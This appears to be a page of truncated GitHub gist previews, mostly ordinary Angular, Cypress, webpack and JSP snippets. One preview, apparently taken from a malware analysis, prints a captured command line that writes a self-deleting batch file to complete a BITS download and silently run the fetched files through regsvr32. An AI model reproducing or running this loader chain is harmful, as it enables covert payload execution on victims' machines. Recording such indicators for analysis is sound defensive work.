This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Injectable } from '@angular/core'; | |
function _window(): any { | |
return window; | |
} | |
@Injectable() | |
export class WindowService { | |
constructor() { } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
describe('My First Test', function () { | |
context('Testing Dashboard', function () { | |
it('Visit Landing Page', function () { | |
//setup initial state by visiting the home page | |
cy.visit("127.0.0.1:4200/"); | |
}); | |
}); | |
context('Testing Details Page', function () { | |
it('Select a Hero', function () { | |
cy.get('.hero') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Component, OnInit } from '@angular/core'; | |
@Component({ | |
selector: 'app-root', | |
// templateUrl: './app.component.html', | |
template: ` | |
<div style="text-align:center"> | |
<img width="300" alt="Angular Logo" | |
src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNTAgMjUwIj4KICAgIDxwYXRoIGZpbGw9IiNERDAwMzEiIGQ9Ik0xMjUgMzBMMzEuOSA2My4ybDE0LjIgMTIzLjFMMTI1IDIzMGw3OC45LTQzLjcgMTQuMi0xMjMuMXoiIC8+CiAgICA8cGF0aCBmaWxsPSIjQzMwMDJGIiBkPSJNMTI1IDMwdjIyLjItLjFWMjMwbDc4LjktNDMuNyAxNC4yLTEyMy4xTDEyNSAzMHoiIC8+CiAgICA8cGF0aCAgZmlsbD0iI0ZGRkZGRiIgZD0iTTEyNSA1Mi4xTDY2LjggMTgyLjZoMjEuN2wxMS43LTI5LjJoNDkuNGwxMS43IDI5LjJIMTgzTDEyNSA1Mi4xem0xNyA4My4zaC0zNGwxNy00MC45IDE3IDQwLjl6IiAvPgogIDwvc3ZnPg=="> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Work around for https://github.com/angular/angular-cli/issues/7200 | |
const path = require('path'); | |
const webpack = require('webpack'); | |
// var BrotliPlugin = require('brotli-webpack-plugin'); | |
module.exports = { | |
mode: 'none', | |
entry: { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<meta http-equiv=pragma content=nocache> | |
<META HTTP-EQUIV=Expires CONTENT=-1> | |
<script language=”Javascript”> | |
function autoSubmit() { | |
//alert(“Auto submit from redirection.jsp”); | |
document.forms[0].submit(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function autoSubmit(){ | |
//alert("Auto submit from redirection.jsp"); | |
document.forms[0].submit(); | |
} | |
<body onload='autoSubmit()'> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CmdLine: \Device\HarddiskVolume4\Windows\System32\cmd.exe “cmd.exe” /c start /min cmd /c “(echo @echo off > “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & echo bitsadmin /complete a1e62b52–3bf5–0 ^> nul >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & echo bitsadmin /cancel a1e62b52–3bf5–0 ^> nul >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & echo if exist “C:\ProgramData\a1e62b52–3bf5–0\a1e62b52–3bf5–0.d” goto q >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & for /f %i in (‘dir /a:-d /b /w “C:\ProgramData\a1e62b52–3bf5–0\*.tmp”’) do (echo start /b /min regsvr32.exe /s /n /i:”!=47468f40a1e62b53 “ “C:\ProgramData\a1e62b52–3bf5–0\%i” >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat”)) > nul & echo :q >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & echo start /b /min regsvr32.exe /s /n /i:”!=47468f40a1e62b53 “ “C:\ProgramData\a1e62b52–3bf5–0\a1e62b52–3bf5–0.d” >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & echo del “C:\ProgramData\a1e62b52–3bf5–0\x.bat” ^& exit >> “C:\ProgramData\a1e62b52–3bf5–0\x.bat” & “C:\ProgramData\a1e62b52–3bf5–0\x.bat”” |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Updated Date: 2018–08–08T11:18:47Z | |
Creation Date: 2015–09–11T11:35:41Z | |
Registry Expiry Date: 2019–09–11T11:35:41Z |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Sample data | |
const data = [ | |
{ name: 'Geoffrey Mahugu', age: 21, gender: 'Male' }, | |
{ name: 'Jane Doe', age: 40, gender: 'Female' }, | |
{ name: 'John Doe', age: 31, gender: 'Male' }, | |
{ name: 'Lucy Nancy', age: 29, gender: 'Female' }, | |
{ name: 'Sandy Glane', age: 32, gender: 'Female' }, | |
]; | |
/* Function that acceps an array of objects and returns a sorted list of |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"angular.io-example-e2e": { | |
"root": "e2e/", | |
"projectType": "application", | |
"prefix": "", | |
"architect": { | |
"e2e": { | |
"builder": "@angular-devkit/build-angular:protractor", | |
"options": { | |
"protractorConfig": "e2e/protractor.conf.js", | |
"devServerTarget": "angular.io-example:serve" |